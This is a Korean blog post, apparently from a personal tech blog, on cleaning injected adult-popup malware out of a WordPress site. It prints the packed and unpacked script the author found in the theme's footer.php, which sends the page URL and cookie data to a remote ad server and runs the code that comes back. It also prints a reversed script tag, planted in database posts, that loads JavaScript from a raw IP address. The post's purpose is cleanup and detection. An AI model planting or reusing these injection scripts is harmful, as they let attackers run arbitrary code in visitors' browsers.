위에서 보이는 것처럼 popunder로 시작하는 이름의 하루 짜리 쿠키가 생성됩니다.
저 쿠키가 살아있는 동안은 성인 사이트가 안 뜨는 것 같네요(페이지별로 따로 쿠키가 생성되는 것 같은 느낌이...)
성인 사이트 팝업이 뜨는 페이지의 소스 보기를 해서 가장 하단으로 가 보니 아래와 같은 코드가 있네요.
이런 경우는 높은 확률(?)로 테마(/wp-content/themes/) 디렉토리로 가서 확인해 보면 됩니다.
저 같은 경우는 footer.php 파일 하단에 박혀 있더라구요. 삭제해 주면 됩니다.
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 15={\'51\':\'//102.61\',\'6\':\'62\',\'48\':38};23 44(){2 3;9{3=25 55("64.52")}7(11){9{3=25 55("63.52")}7(66){3=38}}5(!3&&67 50!=\'69\'){3=25 50()}42 3};23 18(28){2 6=" "+43.6;2 34=" "+28+"=";2 33=17;2 16=0;2 21=0;5(6.13>0){16=6.37(34);5(16!=-1){16+=34.13;21=6.37(";",16);5(21==-1){21=6.13}33=65(6.56(16,21))}}42(33)};23 19(28,47,24,30,31,36){43.6=28+"="+68(47)+((24)?"; 24="+24:"")+((30)?"; 30="+30:"")+((31)?"; 31="+31:"")+((36)?"; 36":"")};(23(12,46){2 22=18(12);5(22==17)22=0;2 32=18(12+\'57\');5(32==17)32=\'[]\';2 29=18(12+\'40\');5(29==17)29=\'[]\';2 3=44();3.60(\'59\',46,58);3.71("70-73","74/91-92-93-94");3.95=23(){5(3.90==4&&3.96==98){9{5(3.45.13==0)42;2 20=41.49(3.45);2 26=\'\';2 14=0;2 39=38;9{26=20[\'99\']}7(11){}9{14=20[\'100\']}7(11){}9{39=(20[\'101\']==1)}7(11){}15[\'48\']=39;5(26.13>0){2 10=25 89();10.88(10.87()+1);5(14>0){19(12+\'86\',14.53(),10.27())}9{19(12+\'85\',20[\'84\'],10.27())}7(11){}5(22==0){19(12,\'1\',10.27())}2 8=17;9{8=41.49(18(15[\'6\']+\'40\'))}7(11){}5(8==17)8=[];5(8.37(14)==-1)8[8.13]=1*14;19(15[\'6\']+\'40\',41.83(8),10.27());54.82(26)}}7(11){}}};3.81(\'80=\'+22.53()+\'&79=\'+35(54.78.77)+\'&76=\'+35(32)+\'&75=\'+35(29))})(15[\'6\'],15[\'51\']+\'/97.72\');',10,103,'||var|xmlhttp||if|cookie|catch|vM|try|vDate|e|sCookieName|length|iT|vXAdsObj|offset|null|getCookie|setCookie|Response|end|iStatus|function|expires|new|sCode|toUTCString|name|sMS|path|domain|sMA|setStr|search|encodeURIComponent|secure|indexOf|false|bM|_ms|JSON|return|document|getXmlHttp|responseText|sUrl|value|mobile|parse|XMLHttpRequest|url|XMLHTTP|toString|window|ActiveXObject|substring|_ma|true|POST|open|buzz|xads_platf|Microsoft|Msxml2|unescape|E|typeof|escape|undefined|Content|setRequestHeader|php|type|application|ms|ma|href|location|u|s|send|eval|stringify|fp|_fp|_t|getFullYear|setYear|Date|readyState|x|www|form|urlencoded|onreadystatechange|status|g|200|c|t|m|amads'.split('|'),0,{}))
전체를 복사해서 코드를 언패킹해 주는 사이트에 가서 확인해 보면 아래처럼 생겼습니다.
var vXAdsObj = {
'url':'//amads.buzz','cookie':'xads_platf','mobile':false
};
function getXmlHttp() {
var xmlhttp;
try {
xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
} catch(e) {
try {
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
} catch(E) {
xmlhttp=false
}
}
if(!xmlhttp&&typeof XMLHttpRequest!='undefined') {
xmlhttp=new XMLHttpRequest()
}
return xmlhttp
};
function getCookie(name) {
var cookie=" "+document.cookie;
var search=" "+name+"=";
var setStr=null;
var offset=0;
var end=0;
if(cookie.length>0) {
offset=cookie.indexOf(search);
if(offset!=-1) {
offset+=search.length;
end=cookie.indexOf(";",offset);
if(end==-1) {
end=cookie.length
}
setStr=unescape(cookie.substring(offset,end))
}
}
return(setStr)
};
function setCookie(name,value,expires,path,domain,secure) {
document.cookie=name+"="+escape(value)+((expires)?";expires="+expires:"")+((path)?";path="+path:"")+((domain)?";domain="+domain:"")+((secure)?";secure":"")
};
(function(sCookieName,sUrl) {
var iStatus=getCookie(sCookieName);
if(iStatus==null) iStatus=0;
var sMA=getCookie(sCookieName+'_ma');
if(sMA==null) sMA='[]';
var sMS=getCookie(sCookieName+'_ms');
if(sMS==null) sMS='[]';
var xmlhttp=getXmlHttp();
xmlhttp.open('POST',sUrl,true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.onreadystatechange=function() {
if(xmlhttp.readyState==4&&xmlhttp.status==200) {
try {
if(xmlhttp.responseText.length==0) return;
var Response=JSON.parse(xmlhttp.responseText);
var sCode='';
var iT=0;
var bM=false;
try {
sCode=Response['c']
} catch(e) {
}
try {
iT=Response['t']
} catch(e) {
}
try {
bM=(Response['m']==1)
} catch(e) {
}
vXAdsObj['mobile']=bM;
if(sCode.length>0) {
var vDate=new Date();
vDate.setYear(vDate.getFullYear()+1);
if(iT>0) {
setCookie(sCookieName+'_t',iT.toString(),vDate.toUTCString())
}
try {
setCookie(sCookieName+'_fp',Response['fp'],vDate.toUTCString())
} catch(e) {
}
if(iStatus==0) {
setCookie(sCookieName,'1',vDate.toUTCString())
}
var vM=null;
try {
vM=JSON.parse(getCookie(vXAdsObj['cookie']+'_ms'))
} catch(e) {
}
if(vM==null)vM=[];
if(vM.indexOf(iT)==-1)vM[vM.length]=1*iT;
setCookie(vXAdsObj['cookie']+'_ms',JSON.stringify(vM),vDate.toUTCString());
window.eval(sCode)
}
} catch(e) {
}
}
};
xmlhttp.send('s='+iStatus.toString()+'&u='+encodeURIComponent(window.location.href)+'&ma='+encodeURIComponent(sMA)+'&ms='+encodeURIComponent(sMS))
}
)(vXAdsObj['cookie'],vXAdsObj['url']+'/g.php');
다음으로 디비도 살펴 봐야 합니다.
wp_en_posts 테이블에 많이 있더라구요. 값을 제일 뒤에 많이 붙어 있습니다.
<script> document.write(\'>tpircs/<>\"sj.yreuqj/87.611.942.431//:sptth\"=crs tpircs<\'.split(\"\").reverse().join(\"\"))</script>
위에 있는 코드 그대로 reverse를 하면 https://134.249.116.78/jquery.js 이런 게 나오네요.
칼럼마다 해당 값들 전부 replace로 삭제해 버리고 페이지 새로 실행시키면 이제 안 나오는 것 같습니다.
'Etc' 카테고리의 다른 글
[php.ini]파일 업로드 용량 관련 (0) | 2021.08.05 |
---|---|
엑셀에서 다음 줄(alt + enter) 제거하기 (0) | 2021.07.01 |
[phpMyAdmin]설정 파일에 잘못된 권한이 지정되어있습니다. 익명 쓰기 권한이면 안됩니다! (4) | 2021.03.26 |
[PHPExcel]한 셀 안에 특정 단어만 굵게 (0) | 2021.03.12 |
ip (0) | 2021.03.12 |